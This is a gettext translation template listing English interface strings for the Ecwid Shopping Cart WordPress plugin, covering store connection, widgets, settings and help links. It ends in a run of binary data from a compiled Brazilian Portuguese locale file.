includes/widgets/class-ecwid-widget-recently-viewed.php:151 msgid "Recently Viewed Products" msgstr "" #: includes/widgets/class-ecwid-widget-recently-viewed.php:122 #: includes/widgets/class-ecwid-widget-recently-viewed.php:152 msgid "You have not viewed any product yet. Open store." msgstr "" #: includes/widgets/class-ecwid-widget-recently-viewed.php:162 #: templates/product-popup.php:160 msgid "Title" msgstr "" #: includes/widgets/class-ecwid-widget-recently-viewed.php:163 msgid "Store Link Title" msgstr "" #: includes/widgets/class-ecwid-widget-recently-viewed.php:164 msgid "Number of products to show" msgstr "" #: includes/widgets/class-ecwid-widget-search.php:9 msgid "" "Displays a simple search box for your customers to find a product in your " "store" msgstr "" #: includes/widgets/class-ecwid-widget-store-link.php:5 msgid "" "Displays a link to the store page in sidebar for customer to quickly access " "your store from any page on the site." msgstr "" #: includes/widgets/class-ecwid-widget-store-link.php:6 msgid "Store Page Link" msgstr "" #: includes/widgets/class-ecwid-widget-store-link.php:33 msgid "Text" msgstr "" #: includes/widgets/class-ecwid-widget-vcategories.php:5 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "" #: includes/widgets/class-ecwid-widget-vcategories.php:6 msgid "Store Categories" msgstr "" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:11 msgid "" "Adds root categories list to the sidebar to let your customers navigate the " "store." msgstr "" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:12 msgid "Store Root Categories" msgstr "" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:22 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:68 msgid "Browse by Category" msgstr "" #: lib/ecwid_platform.php:59 templates/product-popup.php:171 msgid "Price" msgstr "" #: templates/admin-footer.php:4 msgid "Manage Store on iPhone, iPad or Android" msgstr "" #: templates/admin-footer.php:7 msgid "Get %s mobile app" msgstr "" #: templates/admin-footer.php:13 msgid "Questions?" msgstr "" #: templates/admin-footer.php:21 msgid "Want to connect another %s store?" msgstr "" #: templates/admin-footer.php:23 msgid "<a %s>Reconnect</a>" msgstr "" #: templates/admin-message.php:45 msgid "Never show this message again" msgstr "" #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "" #: templates/admin-timeout.php:11 msgid "" "Our team is already working on this issue. Please refresh the page in a few " "minutes. If the issue persists, please contact <a target=\"_blank\" href=" "\"https://help.ecwid.com/customer/portal/emails/new\">our customer support " "team</a>." msgstr "" #: templates/advanced-settings.php:1 msgid "%s Shopping Cart — Advanced settings" msgstr "" #: templates/advanced-settings.php:29 msgid "SEO friendly clean URLs" msgstr "" #: templates/advanced-settings.php:34 msgid "" "This enables new clean URLs format in your store. The new urls do not " "contain hash sign ('#'), so they look nicer and are better indexed by Google." msgstr "" #: templates/advanced-settings.php:38 msgid "" "To enable clean URLs in your store, you will need to enable pretty " "permalinks in your WordPress site settings. Navigate to <a%s>Settings-" ">Permalink</a> and enable the \"Post name\" permalink type." msgstr "" #: templates/advanced-settings.php:44 msgid "" "Note: the new URLs will be automatically enabled for every store in one of " "upcoming updates so please make sure to check how the new URLs work in your " "store and <a %s>let us know</a> if you face any trouble with them" msgstr "" #: templates/advanced-settings.php:44 templates/advanced-settings.php:188 msgid "https://support.ecwid.com/hc/en-us/requests/new" msgstr "" #: templates/advanced-settings.php:57 templates/store-popup.php:154 msgid "Category shown by default" msgstr "" #: templates/advanced-settings.php:61 templates/store-popup.php:161 msgid "Store root category" msgstr "" #: templates/advanced-settings.php:74 msgid "" "By default, the storefront shows a list of root categories. You can override " "this behavior and show a different category when customers open your store " "for the first time. This is useful if you only have one category or want to " "display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "" #: templates/advanced-settings.php:97 msgid "Customer Single Sign-On" msgstr "" #: templates/advanced-settings.php:102 msgid "" "Single Sign-On allows your customers to have a single login for your " "WordPress site and your %s store. When someone logs in to your site, they " "will automatically be logged in to their customer account in your store as " "well with no need to enter their email/password again." msgstr "" #: templates/advanced-settings.php:109 msgid "Upgrade to get this feature" msgstr "" #: templates/advanced-settings.php:112 msgid "Please subscribe to a paid plan to get this feature." msgstr "" #: templates/advanced-settings.php:118 msgid "" "To allow %s automatically log in customers to your store, please provide it " "with a permission to use the customer data in the store. <a %s>Please use " "this link to do that</a>" msgstr "" #: templates/advanced-settings.php:124 msgid "" "To make sure your customer can actually log in to your site and store, " "enable registration in the <a %s>site settings</a>" msgstr "" #: templates/advanced-settings.php:146 msgid "Chameleon skin" msgstr "" #: templates/advanced-settings.php:150 msgid "" "Automatic adjustment of your store design to your WordPress theme. Whatever " "WordPress theme you use, %s will detect predominant colors and font and use " "them in your product catalog." msgstr "" #: templates/advanced-settings.php:153 msgid "" "Please note this functionality is in beta. So if you run into difficulties " "or find problems with Chameleon, please <a %s>let us know</a>." msgstr "" #: templates/advanced-settings.php:176 msgid "Integration with search on your site <sup>beta</sup>" msgstr "" #: templates/advanced-settings.php:180 msgid "" "%s stores your products data in a secure cloud storage. The product pages " "are displayed on the fly when a customer browses your store. So, basically, " "the products are not stored on the site, that's why the site search doesn't " "find product pages while looking through site pages and posts. This option " "enables a local storage mode: the products will be stored both in the cloud " "and on your site. The site search results will list product pages as well as " "regular pages/posts of your site." msgstr "" #: templates/advanced-settings.php:188 msgid "" "Please note this functionality is in beta. So if you run into difficulties " "or find problems with it, please <a %s>let us know</a>." msgstr "" #: templates/advanced-settings.php:197 msgid "Save changes" msgstr "" #: templates/connect.php:5 templates/dashboard.php:6 #: templates/reconnect-sso.php:5 templates/reconnect.php:5 msgid "%s Shopping Cart" msgstr "" #: templates/connect.php:13 templates/reconnect.php:13 msgid "Connect your store<br /> to this WordPress site" msgstr "" #: templates/connect.php:17 msgid "Enter your Store ID" msgstr "" #: templates/connect.php:20 templates/landing_old.php:27 #: templates/reconnect.php:23 msgid "Connect" msgstr "" #: templates/connect.php:21 msgid "Save and connect" msgstr "" #: templates/connect.php:27 templates/reconnect.php:46 msgid "" "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The " "connect button will direct you to your %1$s account where you can provide " "permission." msgstr "" #: templates/connect.php:32 msgid "Where to find your Store ID:" msgstr "" #: templates/connect.php:34 msgid "" "Store ID is a unique identifier of your %1$s account. You can find it in " "your %1$s control panel: open the <a %2$s>Dashboard page</a> and find the " "\"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store " "ID." msgstr "" #: templates/connect.php:39 msgid "Don't have an %s account? Create one now." msgstr "" #: templates/dashboard.php:10 templates/store-popup.php:231 #: templates/store-svg.php:15 msgid "Store ID" msgstr "" #: templates/dashboard.php:14 msgid "Disconnect store" msgstr "" #: templates/dashboard.php:27 msgid "Congratulations!" msgstr "" #: templates/dashboard.php:30 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "" #: templates/dashboard.php:35 msgid "Greetings!" msgstr "" #: templates/dashboard.php:38 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "" #: templates/dashboard.php:47 msgid "Open control panel" msgstr "" #: templates/debug.php:14 msgid "Download log file" msgstr "" #: templates/help.php:11 msgid "How can we help you?" msgstr "" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "" #: templates/help.php:29 msgid "https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics" msgstr "" #: templates/help.php:31 msgid "Ecwid Basics" msgstr "" #: templates/help.php:35 msgid "" "https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store" msgstr "" #: templates/help.php:37 msgid "Manage Your Ecwid Store" msgstr "" #: templates/help.php:41 msgid "" "https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store" msgstr "" #: templates/help.php:43 msgid "Customize Your Store" msgstr "" #: templates/help.php:47 msgid "https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions" msgstr "" #: templates/help.php:49 msgid "Billing Questions" msgstr "" #: templates/help.php:53 msgid "" "https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference" msgstr "" #: templates/help.php:55 msgid "Technical Reference" msgstr "" #: templates/help.php:62 msgid "Frequently Asked Questions" msgstr "" #: templates/help.php:205 msgid "Contact us" msgstr "" #: templates/help.php:206 msgid "Still have questions about Ecwid? Let us know!" msgstr "" #: templates/help.php:211 msgid "https://www.ecwid.com/forums" msgstr "" #: templates/help.php:211 msgid "Forums" msgstr "" #: templates/help.php:212 msgid "" "Join the Ecwid community. Discuss support topics and store ideas with other " "Ecwid users." msgstr "" #: templates/help.php:221 msgid "Send a message to our support team" msgstr "" #: templates/help.php:227 msgid "Subject" msgstr "" #: templates/help.php:228 msgid "Type in your message here" msgstr "" #: templates/help.php:231 msgid "Send Message" msgstr "" #: templates/help.php:242 msgid "Send message failed" msgstr "" #: templates/help.php:248 msgid "Your email has been sent" msgstr "" #: templates/help.php:249 msgid "" " Thank you very much for contacting us! We will get back to you shortly." msgstr "" #: templates/help.php:250 msgid "You can send a new request here." msgstr "" #: templates/landing.php:8 msgid "Welcome to %s!" msgstr "" #: templates/landing.php:9 msgid "" "Thank you for choosing %s to build your online store. The first step to sell " "successfully online is to setup your store! Let’s get started and add a " "store to your website in a few simple steps." msgstr "" #: templates/landing.php:15 templates/landing.php:132 msgid "Create Free %s Store" msgstr "" #: templates/landing.php:31 templates/landing.php:148 msgid "Store is created" msgstr "" #: templates/landing.php:35 templates/landing.php:152 msgid "Creating store" msgstr "" #: templates/landing.php:39 templates/landing.php:156 msgid "Preparing your store dashboard" msgstr "" #: templates/landing.php:43 templates/landing_old.php:52 msgid "Free registration, No credit card required" msgstr "" #: templates/landing.php:46 msgid "" "Connection error: please click the button again and give permissions for " "this plugin<br /> to show your %s store on this site." msgstr "" #: templates/landing.php:49 templates/landing.php:160 msgid "Already have %s account?" msgstr "" #: templates/landing.php:50 templates/landing_old.php:62 msgid "Connect your store to Wordpress site" msgstr "" #: templates/landing.php:53 msgid "" "You will be asked to log in to your %s Control Panel<br />and give " "permissions to show your store on this site" msgstr "" #: templates/landing.php:56 templates/landing_old.php:75 msgid "Get ready to sell online" msgstr "" #: templates/landing.php:67 msgid "Sell Everywhere<br>with your %s store" msgstr "" #: templates/landing.php:68 templates/landing_old.php:87 msgid "" "Start selling on your WordPress site. Then mirror your shop on your Facebook " "page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgstr "" #: templates/landing.php:69 msgid "" "Use %s's mobile-POS to swipe credit cards and sell on the go. Your orders " "and inventory are always synchronized with your online store." msgstr "" #: templates/landing.php:75 templates/landing_old.php:94 msgid "Features" msgstr "" #: templates/landing.php:82 templates/landing_old.php:101 msgid "Compatible with your theme" msgstr "" #: templates/landing.php:83 msgid "%s is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "" #: templates/landing.php:91 templates/landing_old.php:110 msgid "Free and always up to date" msgstr "" #: templates/landing.php:92 templates/landing_old.php:111 msgid "" "Free plan always available with tons of features<br>at no additional cost. " "Updates are seamless, automatic<br>and free of charge." msgstr "" #: templates/landing.php:102 templates/landing_old.php:121 msgid "Responsive design" msgstr "" #: templates/landing.php:103 templates/landing_old.php:122 msgid "Your store looks perfect<br />on all devices" msgstr "" #: templates/landing.php:111 templates/landing_old.php:130 msgid "PCI DSS Certified" msgstr "" #: templates/landing.php:112 templates/landing_old.php:131 msgid "Secure checkout with over 40<br />payment options" msgstr "" #: templates/landing.php:120 templates/landing_old.php:139 msgid "Global Reach" msgstr "" #: templates/landing.php:121 msgid "Over 1 million merchants in 175 countries" msgstr "" #: templates/landing.php:128 templates/landing_old.php:147 msgid "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgstr "" #: templates/landing.php:161 templates/landing_old.php:158 msgid "Connect your store to this site" msgstr "" #: templates/landing_old.php:8 templates/landing_old.php:12 msgid "Plugin is installed successfully!" msgstr "" #: templates/landing_old.php:9 msgid "" "There are just a few steps left to start selling<br /> on your WordPress site" msgstr "" #: templates/landing_old.php:13 msgid "" "There are few little steps left to start selling<br /> on your WordPress site" msgstr "" #: templates/landing_old.php:19 msgid "Register" msgstr "" #: templates/landing_old.php:20 msgid "" "Create a free Ecwid account to manage your store and inventory.<br /> No " "credit card required" msgstr "" #: templates/landing_old.php:29 msgid "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgstr "" #: templates/landing_old.php:30 msgid "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgstr "" #: templates/landing_old.php:39 msgid "Start selling" msgstr "" #: templates/landing_old.php:40 msgid "Your storefront is ready" msgstr "" #: templates/landing_old.php:46 msgid "Create Ecwid store" msgstr "" #: templates/landing_old.php:49 templates/landing_old.php:154 msgid "Connect your store" msgstr "" #: templates/landing_old.php:55 msgid "" "Connection error: please click the button again and give permissions for " "this plugin<br /> to show your Ecwid store on this site." msgstr "" #: templates/landing_old.php:58 templates/landing_old.php:69 msgid "" "You will be asked to log in to your Ecwid Control Panel<br />and give " "permissions to show your store on this site" msgstr "" #: templates/landing_old.php:61 templates/landing_old.php:157 msgid "Already have Ecwid account?" msgstr "" #: templates/landing_old.php:65 templates/landing_old.php:161 msgid "Don't have an Ecwid account?" msgstr "" #: templates/landing_old.php:66 templates/landing_old.php:162 msgid "Register at Ecwid for free" msgstr "" #: templates/landing_old.php:72 msgid "No credit card required" msgstr "" #: templates/landing_old.php:86 msgid "Sell Everywhere<br>with your Ecwid store" msgstr "" #: templates/landing_old.php:88 msgid "" "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders " "and inventory are always synchronized with your online store." msgstr "" #: templates/landing_old.php:102 msgid "" "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "" #: templates/landing_old.php:140 msgid "More than 800,000 merchants in 175 countries" msgstr "" #: templates/landing_old.php:151 msgid "Get Started, Create Ecwid Account" msgstr "" #: templates/product-popup.php:23 msgid "Name" msgstr "" #: templates/product-popup.php:29 msgid "SKU" msgstr "" #: templates/product-popup.php:47 templates/product-popup.php:53 #: templates/product-popup.php:56 msgid "Search" msgstr "" #: templates/product-popup.php:49 msgid "Title or SKU" msgstr "" #: templates/product-popup.php:69 msgid "Current Page" msgstr "" #: templates/product-popup.php:80 msgid "Next page" msgstr "" #: templates/product-popup.php:94 msgid "" "Nothing found for <span class=\"empty-page__term\">\"{{ data.term }}\"</span>" msgstr "" #: templates/product-popup.php:96 msgid "Try another search." msgstr "" #: templates/product-popup.php:97 msgid "Browse all products." msgstr "" #: templates/product-popup.php:122 templates/product-popup.php:127 msgid "Choose Product" msgstr "" #: templates/product-popup.php:123 templates/product-popup.php:131 msgid "Customize widget" msgstr "" #: templates/product-popup.php:140 msgid "Choose product properties to display in widget" msgstr "" #: templates/product-popup.php:150 msgid "Picture" msgstr "" #: templates/product-popup.php:155 msgid "Options" msgstr "" #: templates/product-popup.php:165 msgid "Quantity" msgstr "" #: templates/product-popup.php:176 msgid "«Buy now» button" msgstr "" #: templates/product-popup.php:183 templates/store-popup.php:13 #: templates/store-popup.php:31 msgid "Appearance" msgstr "" #: templates/product-popup.php:196 msgid "Add border" msgstr "" #: templates/product-popup.php:201 msgid "Show price inside the \"Buy now\" button" msgstr "" #: templates/product-popup.php:206 msgid "Center align on a page" msgstr "" #: templates/product-popup.php:218 msgid "customize appearance" msgstr "" #: templates/product-popup.php:219 msgid "select product" msgstr "" #: templates/product-popup.php:220 msgid "Insert" msgstr "" #: templates/reconnect-sso.php:11 msgid "Your store Control Panel. Right here in WordPress." msgstr "" #: templates/reconnect-sso.php:12 msgid "" "Manage products, track sales, adjust settings - <nobr>All without</nobr> " "leaving this page." msgstr "" #: templates/reconnect-sso.php:14 msgid "Re-connect to Enable Control Panel" msgstr "" #: templates/reconnect.php:31 msgid "" "Connection error - after clicking button you need to login and accept " "permissions to use our plugin. Please, try again." msgstr "" #: templates/reconnect.php:39 msgid "" "Looks like your site does not support remote POST requests that are required " "for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "" #: templates/store-popup.php:12 templates/store-popup.php:25 msgid "Store elements" msgstr "" #: templates/store-popup.php:46 msgid "Choose widgets to show" msgstr "" #: templates/store-popup.php:47 msgid "Product catalog will be shown automatically" msgstr "" #: templates/store-popup.php:52 msgid "Show search" msgstr "" #: templates/store-popup.php:59 msgid "Show minicart" msgstr "" #: templates/store-popup.php:66 msgid "Show categories" msgstr "" #: templates/store-popup.php:72 msgid "" "Additionally, you can add store controls to your website's toolbar using <a " "%s>WordPress native widgets</a>" msgstr "" #: templates/store-popup.php:84 msgid "Number of products per page" msgstr "" #: templates/store-popup.php:86 msgid "Grid view" msgstr "" #: templates/store-popup.php:113 msgid "List view" msgstr "" #: templates/store-popup.php:130 msgid "Table view" msgstr "" #: templates/store-popup.php:145 msgid "" "Here you can control how many products will be displayed per page. These " "options define maximum values. If there is not enough space to show all " "product columns, %s will adapt the number of columns to hold all products." msgstr "" #: templates/store-popup.php:180 msgid "Number of categories per row" msgstr "" #: templates/store-popup.php:193 msgid "Default view mode on product pages" msgstr "" #: templates/store-popup.php:197 templates/store-popup.php:215 msgid "Grid" msgstr "" #: templates/store-popup.php:200 templates/store-popup.php:218 msgid "List" msgstr "" #: templates/store-popup.php:203 templates/store-popup.php:221 msgid "Table" msgstr "" #: templates/store-popup.php:210 msgid "Default view mode on search results" msgstr "" #: templates/store-popup.php:233 msgid "Demo store" msgstr "" #: templates/store-popup.php:236 msgid "Open store dashboard" msgstr "" #: templates/store-popup.php:240 msgid "Insert into page" msgstr "" #: templates/store-popup.php:243 msgid "Update" msgstr "" #: templates/store-svg.php:10 msgid "Your store will be shown here!" msgstr "" #: templates/store-svg.php:13 msgid "Demo Store" msgstr "" #: templates/sync.php:161 msgid "" "To enable this feature, the plugin needs a permission to read your store " "product information." msgstr "" #: templates/sync.php:162 msgid "Provide access." msgstr "" #: templates/sync.php:167 templates/sync.php:168 msgid "Synchronize products" msgstr "" #: templates/sync.php:175 msgid "" "We're synchronizing your products. This may take a few minutes. Please do " "not reload the page." msgstr "" #: templates/sync.php:179 msgid "Products synchronized: %s out of %s" msgstr "" #: templates/sync.php:186 msgid "" "Products are successfully synchronized. The product pages are up to date." msgstr "" #: templates/sync.php:190 msgid "Last update" msgstr "" #: templates/sync.php:193 msgid "Not synchronized yet" msgstr "" #. Plugin Name of the plugin/theme msgid "Ecwid Shopping Cart" msgstr "" #. #-#-#-#-# ecwid-shopping-cart.pot (Ecwid Shopping Cart 5.4.1) #-#-#-#-# #. Plugin URI of the plugin/theme #. #-#-#-#-# ecwid-shopping-cart.pot (Ecwid Shopping Cart 5.4.1) #-#-#-#-# #. Author URI of the plugin/theme msgid "http://www.ecwid.com?source=wporg" msgstr "" #. Description of the plugin/theme msgid "" "Ecwid is a free full-featured shopping cart. It can be easily integrated " "with any Wordpress blog and takes less than 5 minutes to set up." msgstr "" #. Author of the plugin/theme msgid "Ecwid Team" msgstr "" PK������Ê—[ðT^âé¶��é¶��:��ecwid-shopping-cart/languages/ecwid-shopping-cart-pt_BR.monu�„[µü¤��������Þ•����<�����ü ��¥��Ü������p��H���q�����º��&���Ë��(���ò�������I���$��.���n�������ç��·��$���Ÿ�����Ä�� ���Ø�� ���ä�� ���î�� ���ù��<�����k���B��K���®��S���ú��A���N��R�����G���ã�� ���+ �����7 �����@ �����R �����k �� ���‡ �����’ ��µ���¦ �����\!�����s!�� ���…!�����’!�����§!��/��º!�� ���ê"�����ô"�����û"������#�����#�����1#�����@#��.���O#�����~#�����•#�����°#�� ���¿#�����à#�����ñ#��@���ù#�����:$��$���M$�����r$��/���’$��w���Â$��~���:%�����¹%�� ���;&�����F&�����N&�����a&��]���v&�����Ô&�� ���ã&�����ð&�����'�����'�� ���.'��"���8'��#���['�� ���'�� ���Š'�����•'��!���¦'��!���È'��q���ê'��s���\(��O���Ð(��¡��� )��v���Â)��)���9*�����c*�����€*�����…*�����—*�����³*�� ���¹*�� ���Å*�����Ò*�� ���â*�����í*�����+�����+��C��8+��‰���|,��L���-����S-�����s.�����‡.�����¢.�� ���².��&���½.�����ä.��œ���/��¢���ž/�����A0�����U0�� ���^0�����i0�����p0�����‹0��*��� 1�����81�����S1��!���e1�����‡1�� ��� 1�� ���­1��(���¸1�����á1�� ���æ1�����ð1��Û���õ1��D���Ñ2��/���3��/���F3�����v3��/���‹3��(���»3�����ä3��9���þ3��I���84��2���‚4��!���µ4�����×4�����Þ4��4���ï4��9���$5��X���^5�� ���·5�� ���Á5�����Í5�� ���Ò5��–���Ü5��'���s6�����›6�����³6��[���Ã6��,���7�� ���L7�����W7�����\7�� ���z7�� ���„7�����Ž7�����¦7��Ø���»7��I���”8�����Þ8�����û8�����9�����29�����I9�����\9�����q9��c���y9��l���Ý9�����J:��Œ��Q:��å���Þ;��)���Ä<�����î<������=��‰���=��‚���’=��4���>��!���J>�����l>�����u>�� ���”>�����¢>�����¨>��+���·>�����ã>��I���ì>��#���6?�����Z?�����j?�� ���s?�����~?��"���—?�����º?�����Ã?��%���Ü?�����@�����@�����#@�����>@�����^@�����p@�����ˆ@�����Œ@�����’@�� ���£@�����°@�����·@��1���Ñ@�����A�� ��� A��%���A��(���=A�� ���fA��"���sA�����–A�����ªA�����ºA�����ÃA�����ÉA�� ���ÎA�����ÜA�����õA����� B�� ���B��&���(B�� ���OB����[B��*���lC��‡��—C�� ���G��>���-G��–���lG��.���H�����2H�����8H�����IH��ß���RH�����2I�� ���CI�����NI�����^I�����tI�����ƒI�����”I�����¨I�����ÃI�����ËI�����àI�� ���æI��/���ñI�����!J�����5J��Ã���:J��Ó���þJ��M���ÒK��M��� L��M���nL��“���¼L��P���PM�����¡M�� ���§M�����´M��’���»M��®���NN�� ��ýN��E��P��Â���MR��]���S����nS��y���‡T��¡���U�� ���£U�����­U�����ÁU�����ÛU����âU�����ÿV��‡���W��Š���£W�����.X��!���?X��^���aX�����ÀX�����ÏX����ìX��C��ûY��u��?[�����µ\�� ���¶]��0���×]��T���^��n���]^��q���Ì^��:���>_��>���y_�����¸_��2���Ñ_�����`��,��� `�����M`�����l`�����…`��!���š`��M���¼`��/��� a��)���:a��I���da��B���®a��G���ña��J���9b��M���„b�����Òb�����ïb��"���þb�����!c��ê���7c��X���"d�����{d��3���’d��6���Æd�����ýd��@���e��/���Fe��)���ve��I�� e��$���êg�����h�����$h�����6h�����Eh�����Uh��?���gh��†���§h��_���.i��h���Ži��P���÷i��h���Hj��W���±j����� k�� ���k�����#k�����>k�����Zk�� ���vk�����k��É���Ÿk��&���il�����l�����¬l�����Ãl�����ßl��c��õl�� ���Yn�����dn�����kn�����tn�� ���’n�����³n�����Ån��:���Øn�����o�����0o�����Io��)���ao�� ���‹o�����–o��@���Ÿo�����ào��$���òo�����p��0���4p��“���ep��z���ùp��y���tq�����îq�� ���r�����r�����"r��r���8r�����«r�� ���ºr�����Èr�����âr�����÷r�� ��� s��2���s��5���Fs�� ���|s�� ���†s�����s��%���¡s��,���Çs��Š���ôs��y���t��Y���ùt��¿���Su��{���v��4���v�����Äv�����áv�����çv��$���ÿv�����$w�� ���*w�� ���8w�����Ew�� ���Xw�����ew�����w��"���Ÿw��h��Âw��›���+y��8���Çy��Q���z�����R{��#���l{�����{�� ���¢{��*���®{��#���Ù{��±���ý{��Å���¯|�����u}�����Ž}�����—}�����¨}�����°}��”���Ì}��:���a~�����œ~�����±~�����Ç~�����ä~������� �����'��������F�����K�����Z��ÿ���`��D���`€��H���¥€��D���î€�����3��A���K��1��������¿��E���Ó��_���‚��/���y‚��#���©‚�����Í‚�����Õ‚��7���è‚��:��� ƒ��j���[ƒ�����ƃ�����Öƒ�����ìƒ�����òƒ��»���„��*���¾„�����é„�����…��j���…��+���…�� ���­…�����¹…��%���¾…�����ä…�����õ…��'���†�����.†��Ø���F†��K���‡�����k‡��!���‹‡�����­‡��#���͇�����ñ‡����� ˆ�����"ˆ��…���+ˆ��…���±ˆ�����7‰��È��?‰��û���‹��0���Œ�����5Œ�����IŒ��©���PŒ�� ���úŒ��-���›��#���É�� ���í��'���÷�����Ž�����0Ž�����7Ž��5���KŽ�����Ž��V���ŠŽ�� ���áŽ������� ����� ��������'��0���B�� ���s�����~��$���›�����À�� ���Þ�����ê��#��������+�����=�����X�����\�����c�����u�� ���‰��!���“��;���µ�� ���ñ�����û��-��� ‘��/���9‘�����i‘��/���y‘�����©‘�����Ä‘�����Ù‘�� ���é‘�����ö‘�����û‘�����’�����/’�����J’�����]’��/���s’�����£’����´’��/���Ç“����÷“����� ˜��D���˜��œ���`˜��.���ý˜�����,™�����1™�� ���D™��ý���O™�����Mš�����eš�����uš�����š�����¥š�����·š�����Éš�����áš�����ýš�����›�����›�����!›��E���2›�����x›�����›��Ö���“›��è���jœ��^���S��F���²��O���ù��ª���Iž��N���ôž�����CŸ�����KŸ�����ZŸ�����cŸ��°��� ����² ��o��Ρ��ë���>¤��j���*¥��0��•¥��–���Ʀ��²���]§�����¨�����'¨�����>¨�� ���W¨��8��a¨��%���š©��ª���À©��¤���kª�����«��!���«��_���A«�����¡«�� ���±«��8��Ò«��l�� ­��’��x®���� °��&���*±��1���Q±��Z���ƒ±�����Þ±��‹���^²��7���ê²��=���"³��"���`³��2���ƒ³�����¶³��8���Ó³����� ´�����)´�����?´��!���U´��M���w´��/���Å´��)���õ´��I���µ��B���iµ��G���¬µ��J���ôµ��M���?¶�����¶�����ª¶�� ���½¶�� ���ȶ�����Ð���v���*������������L���1���Ö���«���†����������������1������Y���������������æ������ë���������������®���@�������4��°���è������¼�������0��ˆ�������_�������h�������”���5����Â���ì�����É������� �����•�����Ÿ�������B�����������È�������€�������ó�������-������K���2��S���;��� ��¬���Í���µ������4���ð������Ø���³����������;����������ã�������������~�������¶���.��ÿ���—���Ä���D���â�����������™���J���P���Ú���3�����ô���ê���a���á���˜����������ú�������)��������ï���|���������F���Û��� ���e���C���¢���q�������Ž���å������z���Ù�������…���o���x���ƒ���`�����������������¸���p���Þ���}�������’��� ���:������"������·�������0�����Ï��� �������m������O���]���)���A���ñ���ü���M���î����������6����������ž���R�����������T���÷���$��Œ���(��������à���ç���8��7��� �������»���ß���^���y�������º�����´�������������Ñ�������<���U���ý������������›������Ý���Ë�������“�����\���ù���Š���#��(��!�������>������� ������i��� ��[���?���������u���„���8��� �������õ�����©����������,��­���7���������������w���������¦��������¤�������£���g���ø���*��Æ���������������×���r���+�����%��������� �����������Ü��� ��Ç���l�����������$�������2�������ª���!��:���,���%�������Ô���Ã���-���‡���V���b��� �����������‚���é���+��=�������W���/��&���������������/���'����������<��‘���6���Ê���Ò���t���Î���–���#������9������d���‹���¡���Õ�������û���"��Ó���À���¾�������k�������'���H���&������9�������Z���œ�����±���ò�������f�������������������¿�������n���N���������I�����������‰���þ���¨�������¯���X�������ä���G���Ì�������������� ��c���j�������¹���š���������í������¥���½�������Q���3��E����������§���Á���.���ö���²���5�������Å������{���s����������� Thank you very much for contacting us! We will get back to you shortly.�%s Shopping Cart�%s Shopping Cart — Advanced settings�%s Shopping Cart — Appearance settings�%s Store�%s is compatible with your<br>“%s†WordPress theme<br>out of the box.�%s plugin doesn't work well with my "%s" theme�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�Add Product�Add Store�Add border�Add to Menu�Add your Ecwid store to your site <nobr>in two clicks</nobr>�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Admin Label�Advanced�Advanced settings�Already have %s account?�Already have Ecwid account?�Appearance�Appearance settings�Automatic adjustment of your store design to your WordPress theme. Whatever WordPress theme you use, %s will detect predominant colors and font and use them in your product catalog.�Back to Store Settings�Billing Questions�Bottom right�Browse all products.�Browse by Category�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�CSS Class�CSS ID�Cart�Category shown by default�Center align on a page�Chameleon skin�Choose Product�Choose product properties to display in widget�Choose widgets to show�Compatible with your theme�Complete Setup�Complete setup and start selling�Congratulations!�Connect�Connect your Ecwid store to this site <nobr>in two clicks</nobr>�Connect your store�Connect your store to Wordpress site�Connect your store to this site�Connect your store<br /> to this WordPress site�Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again.�Connection error: please click the button again and give permissions for this plugin<br /> to show your %s store on this site.�Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site.�Contact us�Content�Create Ecwid store�Create Free %s Store�Create a free Ecwid account to manage your store and inventory.<br /> No credit card required�Creating store�Current Page�Customer Single Sign-On�Customize Your Store�Customize widget�Dashboard�Default view mode on product pages�Default view mode on search results�Demo Store�Demo store�Disconnect store�Display categories above products�Display search box above products�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a simple search box for your customers to find a product in your store�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Don't have an %s account? Create one now.�Don't have an Ecwid account?�Done�Download log file�E.g. How to set up shipping�Ecwid�Ecwid Badge�Ecwid Basics�Ecwid Menu Item�Ecwid Team�Ecwid 